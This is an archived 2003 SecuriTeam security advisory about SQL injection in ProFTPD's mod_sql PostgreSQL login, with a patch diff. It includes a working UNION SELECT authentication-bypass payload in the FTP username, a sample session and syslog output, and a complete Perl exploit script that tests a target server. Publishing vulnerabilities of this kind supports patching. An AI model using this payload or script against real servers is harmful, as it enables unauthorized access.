

Securiteam: [UNIX] SQL Inject in ProFTPD Login against PostgreSQL Using mod_sql

[UNIX] SQL Inject in ProFTPD Login against PostgreSQL Using mod_sql

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0059.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/19/03

To: list@securiteam.com

Date: 19 Jun 2003 14:43:13 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Latest attack techniques.

You're a pen tester, but is google.com still your R&D team?

Now you can get trustworthy commercial-grade exploits and the latest techniques from a world-class research group.

Learn more at <http://www.coresecurity.com/promos/site1>,
or call 617-399-6980

SQL Inject in ProFTPD Login against PostgreSQL Using mod_sql

SUMMARY

A SQL Inject exists in <http://proftpd.linux.co.uk/> ProFTPD server using the mod_sql module to authenticate against PostgreSQL database server. This vulnerability may allow a remote user to login without user and password.

DETAILS

Vulnerable systems:

* All ProFTPD prior to ProFTPD 1.2.9rc1 against PostgreSQL using mod_sql and ProFTPD 1.2.9rc1 using a version lower than PostgreSQL 7.2.

Mod_sql is an authentication module for ProFTPD. The backend module mod_sql_postgres is used to authenticate users doing a query to PostgreSQL server to retrieve user and password.

Securiteam: [UNIX] SQL Inject in ProFTPD Login against PostgreSQL Using mod_sql

Mod_sql_postgres don't implements any function to escape strings and it may allow injecting SQL code in user login. The solution of module programmer is the comment in the source code:

```
/* PostgreSQL has no way to escape strings internally */
```

In proftpd 1.2.9rc1 remove POSTGRES_NO_ESCAPESTRING #define, and always expect PQescapestring() to be present. With this patch, mod_sql_postgres will always fail unless the Postgres library is new enough.

Index: contrib/mod_sql_postgres.c

```
=====
RCS file: /cvsroot/proftpd/proftpd/contrib/mod_sql_postgres.c,v
retrieving revision 1.15
diff -u -r1.15 mod_sql_postgres.c
--- contrib/mod_sql_postgres.c 29 May 2003 07:29:43 -0000 1.15
+++ contrib/mod_sql_postgres.c 17 Jun 2003 20:52:30 -0000
@@ -1105,23 +1105,13 @@
     conn = (db_conn_t *) entry->data;

    /* Note: the PQescapeString() function appeared in the C API as of
    - * Postgres-7.2; this macro allows for functioning with older postgres
    - * installations. Unfortunately, Postgres' PG_VERSION is defined as
    - * a string, not an actual number, which makes for preprocessor-time
    checking
    - * of that value much harder.
    - *
    - * Ideally, this function could be detected by a configure script, but
    - * ProFTPD does not yet support per-module configure scripts.
    + * Postgres-7.2.
    */
    #ifndef POSTGRES_NO_PQESCAPESTRING
        unescaped = cmd->argv[1];
        escaped = (char *) pcalloc(cmd->tmp_pool, sizeof(char) *
            (strlen(unescaped) * 2) + 1);

        PQescapeString(escaped, unescaped, strlen(unescaped));
    #else
    - escaped = cmd->argv[1];
    #endif

    sql_log(DEBUG_FUNC, "%s", "exiting \tpostgres cmd_escapestring");
    return mod_create_data(cmd, (void *) escaped);
```

Impact:

Any attacker who can reach a vulnerable server can login without user and password. Moreover, the attacker can change his login id, gid and path.

Proof Of Concept:

A proof of concept is shown to demonstrate the SQL injection. The versions used are: mod_sql v.4.0, PostgreSQL 7.2.1-2 and ProFTPD 1.2.8.

Securiteam: [UNIX] SQL Inject in ProFTPD Login against PostgreSQL Using mod_sql

```
runlevel@runlevel:~/ $ ftp localhost
Connected to localhost.
220 ProFTPD 1.2.8 Server (Debian) [*****]
Name (localhost:runlevel): ' )UNION SELECT
'u','p',1001,1001,'/tmp','/bin/bash' WHERE('=
331 Password required for ' )UNION.
Password:
230 User ' )UNION SELECT 'u','p',1001,1001,'/tmp','/bin/bash' WHERE('=
logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

We can view the final SQL query in syslog:

```
Jun 9 01:40:54 runlevel proftpd[10978]: ***** (127.0.0.1[127.0.0.1]) -
mod_sql_postgres/4.01: query "SELECT userid, passwd, uid, gid, shell FROM
prue WHERE (userid=" )UNION SELECT 'u','p',1002,1002, '/bin/bash'
WHERE("=) LIMIT 1"
```

Exploit:

Perl script to automate the process:

```
#!/usr/bin/perl
# SQL inject on ProFTPD with mod_sql proof of concept script
# runlevel [ runlevel@raregazz.org ]
# Spain, 2003

use IO::Socket;
if(@ARGV<2){
    print "\nProof Of Concept Sql Inject on ProFTPD\n";
    print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
    exit(0);
};

$server = $ARGV[0];
$query = $ARGV[1];
$remote =
IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1)
    or die "Can't connect. \n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}

# Proof of concept query, it may change on the number of rows
# By default, it can query User, Pass, Uid, Gid, Shell or
# User, Pass, Uid, Gid, Shell, Path, change the union query...

if($query eq "1"){
    print $remote "USER ' )UNION
SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE("=\n";
}else{
    print $remote "USER ' )UNION SELECT'u','p',1002,1002,'/bin/bash'
```

Securiteam: [UNIX] SQL Inject in ProFTPD Login against PostgreSQL Using mod_sql

```
WHERE("=\n";
};
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print $remote "PASS p\n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print "Sent query to $ARGV[0]\n";
if($line =~ /230/){ #logged in
    print "[----- Sql Inject Able \n";
}else{
    print "[----- Sql Inject Unable \n";
}
close $remote;
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:runlevel@linuxmail.org>>
runlevel.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.